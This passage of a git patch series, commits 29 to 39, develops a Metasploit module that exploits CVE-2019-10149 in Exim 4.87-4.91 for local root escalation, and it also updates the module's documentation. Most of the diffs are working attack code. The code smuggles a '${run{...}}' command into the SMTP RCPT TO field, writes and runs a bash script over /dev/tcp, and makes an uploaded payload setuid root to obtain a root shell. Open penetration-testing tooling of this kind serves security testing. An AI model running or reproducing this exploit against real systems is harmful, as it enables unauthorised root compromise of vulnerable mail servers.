a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -184,6 +184,6 @@ class MetasploitModule < Msf::Exploit::Local end file_rm(@payload_path) - print_error('Couldn\'t escalate privileges') + print_error("Couldn't escalate privileges") end end From 435240ed41cad3381269acf24048847c99e2025f Mon Sep 17 00:00:00 2001 From: yaumn <37782106+yaumn@users.noreply.github.com> Date: Wed, 10 Jul 2019 17:24:48 +0100 Subject: [PATCH 29/39] Update modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb Co-Authored-By: bcoles --- modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index 1d9dc57a28..051c1955dc 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -183,7 +183,7 @@ class MetasploitModule < Msf::Exploit::Local end end - file_rm(@payload_path) + rm_f(@payload_path) print_error("Couldn't escalate privileges") end end From 8e57599b9575493c1a6a5c9bcc141fa24d86d5e4 Mon Sep 17 00:00:00 2001 From: Guillaume Andre Date: Thu, 11 Jul 2019 13:52:08 +0100 Subject: [PATCH 30/39] Update documentation Change-Id: Iaaed3de37d244d7c9fc81bd6d99bc5e4de6b050f --- .../exploit/linux/local/exim4_deliver_message_priv_esc.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md index df7d93ac76..2b9a0200cc 100644 --- a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md +++ b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md @@ -2,7 +2,7 @@ Exim 4.87 - 4.91 Local Privilege Escalation -This module implements a flaw found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to remote command execution (CVE-2019-10149). +This module exploits a flaw found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to command execution root privileges (CVE-2019-10149). Both meterpreter shell and classic shell are supported. The exploit will upload the specified `payload`, set the suid bit, and execute it to create a new root session. In order for the new session to be a root one, both `PrependSetuid` and `PrependSetgid` must be set to true (which is the default configuration for the exploit), and the `WritableDir` must be mounted without `nosuid`. @@ -27,7 +27,7 @@ Before using the exploit, make sure exim is actually listening on a port (it may ## PAYLOAD -Set this option to choose which type of root session you want to create (obviously you should try a meterpreter payload first). +Set this option to choose which type of root session you want to create. ## EXIMPATH From 6b8ee4e4f9aef3a5164de0175de47b072594c51b Mon Sep 17 00:00:00 2001 From: Guillaume Andre Date: Thu, 11 Jul 2019 13:54:31 +0100 Subject: [PATCH 31/39] Fix typo Change-Id: Ibde0c547fda37c38118d54c8dc219763e6e32f1f --- .../exploit/linux/local/exim4_deliver_message_priv_esc.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md index 2b9a0200cc..3e46b50df5 100644 --- a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md +++ b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md @@ -2,7 +2,7 @@ Exim 4.87 - 4.91 Local Privilege Escalation -This module exploits a flaw found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to command execution root privileges (CVE-2019-10149). +This module exploits a flaw found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to command execution with root privileges (CVE-2019-10149). Both meterpreter shell and classic shell are supported. The exploit will upload the specified `payload`, set the suid bit, and execute it to create a new root session. In order for the new session to be a root one, both `PrependSetuid` and `PrependSetgid` must be set to true (which is the default configuration for the exploit), and the `WritableDir` must be mounted without `nosuid`. From 565e18cbe8a2fcda4cf86631be524ce8a7d6b5eb Mon Sep 17 00:00:00 2001 From: Guillaume Andre Date: Thu, 11 Jul 2019 14:20:21 +0100 Subject: [PATCH 32/39] Add a few checks Change-Id: Ieca129a54d2105bf646e6f848cb5ecec804c372f --- .../local/exim4_deliver_message_priv_esc.rb | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index 051c1955dc..46fbd9e948 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Linux::Priv + include Msf::Post::Linux::System def initialize(info = {}) super(update_info(info, @@ -16,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Local 'Description' => %q{ This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() - function in /src/deliver.c may lead to remote command execution + function in /src/deliver.c may lead to command execution with root privileges (CVE-2019-10149). }, 'License' => MSF_LICENSE, @@ -133,8 +134,6 @@ class MetasploitModule < Msf::Exploit::Local else session.shell_command_token("rm -f #{@payload_path}") end - - print_good("Check session #{session.name}, you should have a root shell!") end def check @@ -166,6 +165,10 @@ class MetasploitModule < Msf::Exploit::Local fail_with(Failure::BadConfig, "#{base_dir} is not writable") end + if nosuid?(base_dir) + fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid") + end + unless datastore['PrependSetuid'] && datastore['PrependSetgid'] fail_with(Failure::BadConfig, 'PrependSetuid and PrependSetgid must both be set to true in order ' \ 'to get root privileges.') @@ -175,15 +178,12 @@ class MetasploitModule < Msf::Exploit::Local write_file(@payload_path, payload.encoded_exe) inject_payload(encode_command("/bin/bash -c \"chown root #{@payload_path};"\ "chmod 4755 #{@payload_path}\"")) - if setuid?(@payload_path) - cmd_exec("#{@payload_path & echo ") - if session_created? - return - end + unless setuid?(@payload_path) + rm_f(@payload_path) + fail_with(Failure::Unknown, "Couldn't escalate privileges") end - rm_f(@payload_path) - print_error("Couldn't escalate privileges") + cmd_exec("#{@payload_path} & echo ") end end From 642a71383de7dd7c2f35a55b6a3539c338e69f27 Mon Sep 17 00:00:00 2001 From: Guillaume Andre Date: Thu, 11 Jul 2019 17:01:23 +0100 Subject: [PATCH 33/39] Classic shell exploit now uses a bash script Change-Id: I770cf9bcae5c5a265c19f2dc9e4a512e30705b6c --- .../local/exim4_deliver_message_priv_esc.rb | 61 +++++++++++++------ 1 file changed, 42 insertions(+), 19 deletions(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index 46fbd9e948..74e0ceb2e4 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -81,6 +81,7 @@ class MetasploitModule < Msf::Exploit::Local 'PeerHost' => '127.0.0.1', 'PeerPort' => datastore['EXIMPORT'] }) + #TODO: Print error if port is closed? socket = socket_subsystem.create_tcp_client_channel(params) socket.gets socket.puts("helo localhost\n") @@ -100,25 +101,38 @@ class MetasploitModule < Msf::Exploit::Local socket.close socket_subsystem.shutdown else - res = cmd_exec("exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}") - - cmd_exec('read -u 3 && echo $REPLY') - cmd_exec('echo "helo localhost" >&3') - cmd_exec('read -u 3 && echo $REPLY') - cmd_exec('echo "mail from:<>" >&3') - cmd_exec('read -u 3 && echo $REPLY') - cmd_exec("echo 'rcpt to:<${run{#{payload}}}@localhost>' >&3") - cmd_exec('read -u 3 && echo $REPLY') - cmd_exec('echo "data" >&3') - cmd_exec('read -u 3 && echo $REPLY') - for i in (1..31) - cmd_exec("echo 'Received: #{i}' >&3") + unless cmd_exec("/bin/bash -c \"exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}\"; echo $?").chomp.to_i == 0 + fail_with(Failure::NotFound, "Port #{datastore['EXIMPORT']} is closed") end - cmd_exec('echo "." >&3') - cmd_exec('read -u 3 && echo $REPLY') - cmd_exec('echo "quit" >&3') - cmd_exec('read -u 3 && echo $REPLY') - cmd_exec('exec 3<&-') + + bash_script = %| + #!/bin/bash + + exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']} + read -u 3 && echo $REPLY + echo "helo localhost" >&3 + read -u 3 && echo $REPLY + echo "mail from:<>" >&3 + read -u 3 && echo $REPLY + echo 'rcpt to:<${run{#{payload}}}@localhost>' >&3 + read -u 3 && echo $REPLY + echo "data" >&3 + read -u 3 && echo $REPLY + for i in $(seq 1 30); do + echo 'Received: $i' >&3 + done + echo "." >&3 + read -u 3 && echo $REPLY + echo "quit" >&3 + read -u 3 && echo $REPLY + exec 3<&- + | + + @bash_script_path = File.join(base_dir, Rex::Text.rand_text_alpha(10)) + write_file(@bash_script_path, bash_script) + register_file_for_cleanup(@bash_script_path) + cmd_exec("chmod +x #{@bash_script_path}") + cmd_exec("/bin/bash -c \"#{@bash_script_path}\"") end print_status('Payload sent, wait a few seconds...') @@ -174,13 +188,22 @@ class MetasploitModule < Msf::Exploit::Local 'to get root privileges.') end + if session.type == 'shell' + unless cmd_exec('/bin/bash --version; echo $?').chomp.to_i == 0 + fail_with(Failure::NotFound, 'bash not found') + end + end + @payload_path = File.join(base_dir, Rex::Text.rand_text_alpha(10)) write_file(@payload_path, payload.encoded_exe) - inject_payload(encode_command("/bin/bash -c \"chown root #{@payload_path};"\ + inject_payload(encode_command("/bin/sh -c \"chown root #{@payload_path};"\ "chmod 4755 #{@payload_path}\"")) unless setuid?(@payload_path) rm_f(@payload_path) + if session.type == 'shell' + rm_f(@bash_script_path) + end fail_with(Failure::Unknown, "Couldn't escalate privileges") end From 60dbbb045556801d582bdae0d9402fb28f4a859c Mon Sep 17 00:00:00 2001 From: Guillaume Andre Date: Fri, 12 Jul 2019 12:20:37 +0100 Subject: [PATCH 34/39] Ensure temp files are deleted in every case Change-Id: I53401e4bcce887048f433743a965421f93d699ba --- .../local/exim4_deliver_message_priv_esc.rb | 18 ++++++++++-------- 1 file changed, 10 insertions(+), 8 deletions(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index 74e0ceb2e4..a0845fa5af 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -81,8 +81,13 @@ class MetasploitModule < Msf::Exploit::Local 'PeerHost' => '127.0.0.1', 'PeerPort' => datastore['EXIMPORT'] }) - #TODO: Print error if port is closed? - socket = socket_subsystem.create_tcp_client_channel(params) + begin + socket = socket_subsystem.create_tcp_client_channel(params) + rescue => e + print_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\ + "are you sure exim is listening on this port? (see EXIMPORT)") + raise e + end socket.gets socket.puts("helo localhost\n") socket.gets @@ -131,7 +136,7 @@ class MetasploitModule < Msf::Exploit::Local @bash_script_path = File.join(base_dir, Rex::Text.rand_text_alpha(10)) write_file(@bash_script_path, bash_script) register_file_for_cleanup(@bash_script_path) - cmd_exec("chmod +x #{@bash_script_path}") + chmod(@bash_script_path) cmd_exec("/bin/bash -c \"#{@bash_script_path}\"") end @@ -189,21 +194,18 @@ class MetasploitModule < Msf::Exploit::Local end if session.type == 'shell' - unless cmd_exec('/bin/bash --version; echo $?').chomp.to_i == 0 + unless command_exists?('/bin/bash') fail_with(Failure::NotFound, 'bash not found') end end @payload_path = File.join(base_dir, Rex::Text.rand_text_alpha(10)) write_file(@payload_path, payload.encoded_exe) + register_file_for_cleanup(@payload_path) inject_payload(encode_command("/bin/sh -c \"chown root #{@payload_path};"\ "chmod 4755 #{@payload_path}\"")) unless setuid?(@payload_path) - rm_f(@payload_path) - if session.type == 'shell' - rm_f(@bash_script_path) - end fail_with(Failure::Unknown, "Couldn't escalate privileges") end From f465e43e34b5fee17319564cc656b02fa94b1edb Mon Sep 17 00:00:00 2001 From: yaumn Date: Sat, 13 Jul 2019 19:25:34 +0100 Subject: [PATCH 35/39] Change tcp communication with meterpreter --- .../local/exim4_deliver_message_priv_esc.rb | 49 +++++++++++++------ 1 file changed, 34 insertions(+), 15 deletions(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index a0845fa5af..f547f1ace2 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -3,6 +3,8 @@ # Current source: https://github.com/rapid7/metasploit-framework ## +require 'expect' + class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking @@ -88,21 +90,38 @@ class MetasploitModule < Msf::Exploit::Local "are you sure exim is listening on this port? (see EXIMPORT)") raise e end - socket.gets - socket.puts("helo localhost\n") - socket.gets - socket.puts("mail from:<>\n") - socket.gets - socket.puts("rcpt to:<${run{#{payload}}}@localhost>\n") - socket.gets - socket.puts("data\n") - socket.gets - for i in (1..31) - socket.puts("Received: #{i}\n") + + tcp_conversation = { + nil => /220/, + 'helo localhost' => /250/, + "MAIL FROM:<>" => /250/, + "RCPT TO:<${run{#{payload}}}@localhost>" => /250/, + 'DATA' => /354/, + 'Received:' => nil, + '.' => /250/ + } + + tcp_conversation.each do |line, pattern| + if line + if line == 'Received:' + for i in (1..31) + print_status("Sending: #{line}") + socket.puts("#{line} #{i}\r\n") + end + else + print_status("Sending: #{line}") + socket.puts("#{line}\r\n") + end + end + if pattern + vprint_status("Expecting: #{pattern.inspect}") + socket.expect(pattern) do |pat| + return unless pat + vprint_good("Received: #{pat.first}") + end + end end - socket.puts(".\n") - socket.gets - socket.puts("quit\n") + socket.puts("QUIT\r\n") socket.close socket_subsystem.shutdown else @@ -149,7 +168,7 @@ class MetasploitModule < Msf::Exploit::Local if session.type == 'meterpreter' session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') - session.fs.file.rm(@payload_path) + #session.fs.file.rm(@payload_path) else session.shell_command_token("rm -f #{@payload_path}") end From e2a9907e992686f3c8802edea1082bed61c3a75d Mon Sep 17 00:00:00 2001 From: yaumn Date: Sat, 13 Jul 2019 19:55:12 +0100 Subject: [PATCH 36/39] Add SendExpectTimeout option --- .../local/exim4_deliver_message_priv_esc.rb | 62 +++++++++++-------- 1 file changed, 35 insertions(+), 27 deletions(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index f547f1ace2..40c3a4d4ca 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -64,7 +64,8 @@ class MetasploitModule < Msf::Exploit::Local register_advanced_options( [ OptBool.new('ForceExploit', [ false, 'Override check result', false ]), - OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), + OptFloat.new('SendExpectTimeout', [true, 'Timeout per send/expect', 3.5]) ]) end @@ -92,38 +93,45 @@ class MetasploitModule < Msf::Exploit::Local end tcp_conversation = { - nil => /220/, - 'helo localhost' => /250/, - "MAIL FROM:<>" => /250/, + nil => /220/, + 'helo localhost' => /250/, + "MAIL FROM:<>" => /250/, "RCPT TO:<${run{#{payload}}}@localhost>" => /250/, - 'DATA' => /354/, - 'Received:' => nil, - '.' => /250/ + 'DATA' => /354/, + 'Received:' => nil, + '.' => /250/ } - tcp_conversation.each do |line, pattern| - if line - if line == 'Received:' - for i in (1..31) - print_status("Sending: #{line}") - socket.puts("#{line} #{i}\r\n") + begin + tcp_conversation.each do |line, pattern| + Timeout.timeout(datastore['SendExpectTimeout']) do + if line + if line == 'Received:' + for i in (1..31) + socket.puts("#{line} #{i}\n") + end + else + socket.puts("#{line}\n") + end + end + if pattern + vprint_status("Expecting: #{pattern.inspect}") + socket.expect(pattern) do |pat| + return unless pat + vprint_good("Received: #{pat.first}") + end end - else - print_status("Sending: #{line}") - socket.puts("#{line}\r\n") - end - end - if pattern - vprint_status("Expecting: #{pattern.inspect}") - socket.expect(pattern) do |pat| - return unless pat - vprint_good("Received: #{pat.first}") end end + rescue Rex::ConnectionError => e + fail_with(Failure::Unreachable, e.message) + rescue Timeout::Error + fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out') + ensure + socket.puts("QUIT\n") + socket.close + socket_subsystem.shutdown end - socket.puts("QUIT\r\n") - socket.close - socket_subsystem.shutdown else unless cmd_exec("/bin/bash -c \"exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}\"; echo $?").chomp.to_i == 0 fail_with(Failure::NotFound, "Port #{datastore['EXIMPORT']} is closed") @@ -168,7 +176,7 @@ class MetasploitModule < Msf::Exploit::Local if session.type == 'meterpreter' session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') - #session.fs.file.rm(@payload_path) + session.fs.file.rm(@payload_path) else session.shell_command_token("rm -f #{@payload_path}") end From 764a4a0692dc722af79e7658b9d31a15905deb99 Mon Sep 17 00:00:00 2001 From: yaumn Date: Sat, 13 Jul 2019 19:57:03 +0100 Subject: [PATCH 37/39] Improve check regex --- modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index 40c3a4d4ca..e8d9b4e92d 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -186,7 +186,7 @@ class MetasploitModule < Msf::Exploit::Local exim = datastore['EXIMPATH'] ? datastore['EXIMPATH'] : 'exim' res = cmd_exec("#{exim} -bV") - if res =~ /Exim version ([0-9\.]*) /i # Maybe improve the regex + if res =~ /Exim version ([0-9\.]+)/i version = Gem::Version.new($1) vprint_status("Found exim version: #{version}") if version >= target[:lower_version] && version <= target[:upper_version] From e51138fa4bd47be1f34893189bc58997d061c113 Mon Sep 17 00:00:00 2001 From: yaumn Date: Sat, 13 Jul 2019 22:45:21 +0100 Subject: [PATCH 38/39] Establish a tcp connection to check for the exim version. --- .../local/exim4_deliver_message_priv_esc.rb | 62 ++++++++++++------- 1 file changed, 41 insertions(+), 21 deletions(-) diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index e8d9b4e92d..509c03f5ae 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -57,7 +57,6 @@ class MetasploitModule < Msf::Exploit::Local register_options( [ - OptString.new('EXIMPATH', [ false, 'The path to the exim executable (used to check for vulnerability)' ]), OptInt.new('EXIMPORT', [ true, 'The port exim is listening to', 25 ]) ]) @@ -77,9 +76,8 @@ class MetasploitModule < Msf::Exploit::Local '\x' + cmd.unpack('H2' * cmd.length).join('\x') end - def inject_payload(payload) - if session.type == 'meterpreter' - socket_subsystem = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client) + def open_tcp_connection + socket_subsystem = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client) params = Rex::Socket::Parameters.new({ 'PeerHost' => '127.0.0.1', 'PeerPort' => datastore['EXIMPORT'] @@ -87,10 +85,16 @@ class MetasploitModule < Msf::Exploit::Local begin socket = socket_subsystem.create_tcp_client_channel(params) rescue => e - print_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\ + vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\ "are you sure exim is listening on this port? (see EXIMPORT)") raise e end + return socket_subsystem, socket + end + + def inject_payload(payload) + if session.type == 'meterpreter' + socket_subsystem, socket = open_tcp_connection tcp_conversation = { nil => /220/, @@ -115,11 +119,7 @@ class MetasploitModule < Msf::Exploit::Local end end if pattern - vprint_status("Expecting: #{pattern.inspect}") - socket.expect(pattern) do |pat| - return unless pat - vprint_good("Received: #{pat.first}") - end + socket.expect(pattern) end end end @@ -133,7 +133,8 @@ class MetasploitModule < Msf::Exploit::Local socket_subsystem.shutdown end else - unless cmd_exec("/bin/bash -c \"exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}\"; echo $?").chomp.to_i == 0 + unless cmd_exec("/bin/bash -c 'exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}' "\ + "&& echo true").chomp.to_s == 'true' fail_with(Failure::NotFound, "Port #{datastore['EXIMPORT']} is closed") end @@ -157,7 +158,6 @@ class MetasploitModule < Msf::Exploit::Local read -u 3 && echo $REPLY echo "quit" >&3 read -u 3 && echo $REPLY - exec 3<&- | @bash_script_path = File.join(base_dir, Rex::Text.rand_text_alpha(10)) @@ -171,6 +171,12 @@ class MetasploitModule < Msf::Exploit::Local Rex.sleep(5) end + def check_for_bash + unless command_exists?('/bin/bash') + fail_with(Failure::NotFound, 'bash not found') + end + end + def on_new_session(session) super @@ -183,10 +189,27 @@ class MetasploitModule < Msf::Exploit::Local end def check - exim = datastore['EXIMPATH'] ? datastore['EXIMPATH'] : 'exim' + if session.type == 'meterpreter' + begin + socket_subsystem, socket = open_tcp_connection + rescue + return CheckCode::Safe + end + res = socket.gets + socket.close + socket_subsystem.shutdown + else + check_for_bash + res = cmd_exec("/bin/bash -c 'exec 3= target[:lower_version] && version <= target[:upper_version] @@ -196,7 +219,6 @@ class MetasploitModule < Msf::Exploit::Local end end - vprint_error("Couldn't retrieve exim version. You may want to set EXIMPATH.") CheckCode::Unknown end @@ -221,16 +243,14 @@ class MetasploitModule < Msf::Exploit::Local end if session.type == 'shell' - unless command_exists?('/bin/bash') - fail_with(Failure::NotFound, 'bash not found') - end + check_for_bash end @payload_path = File.join(base_dir, Rex::Text.rand_text_alpha(10)) write_file(@payload_path, payload.encoded_exe) register_file_for_cleanup(@payload_path) - inject_payload(encode_command("/bin/sh -c \"chown root #{@payload_path};"\ - "chmod 4755 #{@payload_path}\"")) + inject_payload(encode_command("/bin/sh -c 'chown root #{@payload_path};"\ + "chmod 4755 #{@payload_path}'")) unless setuid?(@payload_path) fail_with(Failure::Unknown, "Couldn't escalate privileges") From 395e4d2424162199307680fc12314d5d29067c97 Mon Sep 17 00:00:00 2001 From: Guillaume Andre Date: Thu, 18 Jul 2019 10:45:44 +0100 Subject: [PATCH 39/39] Update documentation. Register options by alphabetical order. Change-Id: I46bb3701107a504dddbf030e0345d7adc83bafac --- .../linux/local/exim4_deliver_message_priv_esc.md | 13 +++++++++---- .../linux/local/exim4_deliver_message_priv_esc.rb | 6 +++--- 2 files changed, 12 insertions(+), 7 deletions(-) diff --git a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md index 3e46b50df5..352d1f269a 100644 --- a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md +++ b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md @@ -11,6 +11,7 @@ Both meterpreter shell and classic shell are supported. The exploit will upload You basically just need to have a exim (between 4.87 and 4.91 inclusive) running and listening on a port (port 25 by default). For my tests, I used a VM with Ubuntu 18.04 LTS and exim 4.89 (I tested all the versions from 4.87 to 4.91). The exim source code can be downloaded from the official website (all the old versions can be found). You can also use this good Docker image which sets up a container with a vulnerable exim version running (https://github.com/dhn/exploits/tree/master/CVE-2019-10149). +Be careful if you use the exim package from the official repo of your Linux distribution, even if the version is between 4.87 and 4.91, it may still be patched against the vulnerability (it is the case on Ubuntu at least). Before using the exploit, make sure exim is actually listening on a port (it may sound stupid, but I struggled a bit when creating a testing environment). However, you should not have any problem if you use the Docker image linked above. @@ -29,14 +30,18 @@ Before using the exploit, make sure exim is actually listening on a port (it may Set this option to choose which type of root session you want to create. -## EXIMPATH - -The path to the exim executable that is running on the target machine. This is used to check the version of exim to know whether it is vulnerable. If you let this option unset, the exploit will assume that the directory of exim is in the `$PATH` environment variable. - ## EXIMPORT The port that exim is listening to. On most cases it will be port 25 (which is the default). +## ForceExploit + +Force exploit even if the current session is root. + +## SendExpectTimeout + +Timeout per send/expect when communicating with exim. + ## WritableDir A directory where we can write files (default is /tmp). diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index 509c03f5ae..eb43ec53da 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -62,9 +62,9 @@ class MetasploitModule < Msf::Exploit::Local register_advanced_options( [ - OptBool.new('ForceExploit', [ false, 'Override check result', false ]), - OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), - OptFloat.new('SendExpectTimeout', [true, 'Timeout per send/expect', 3.5]) + OptBool.new('ForceExploit', [ false, 'Force exploit even if the current session is root', false ]), + OptFloat.new('SendExpectTimeout', [ true, 'Timeout per send/expect when communicating with exim', 3.5 ]), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ]) end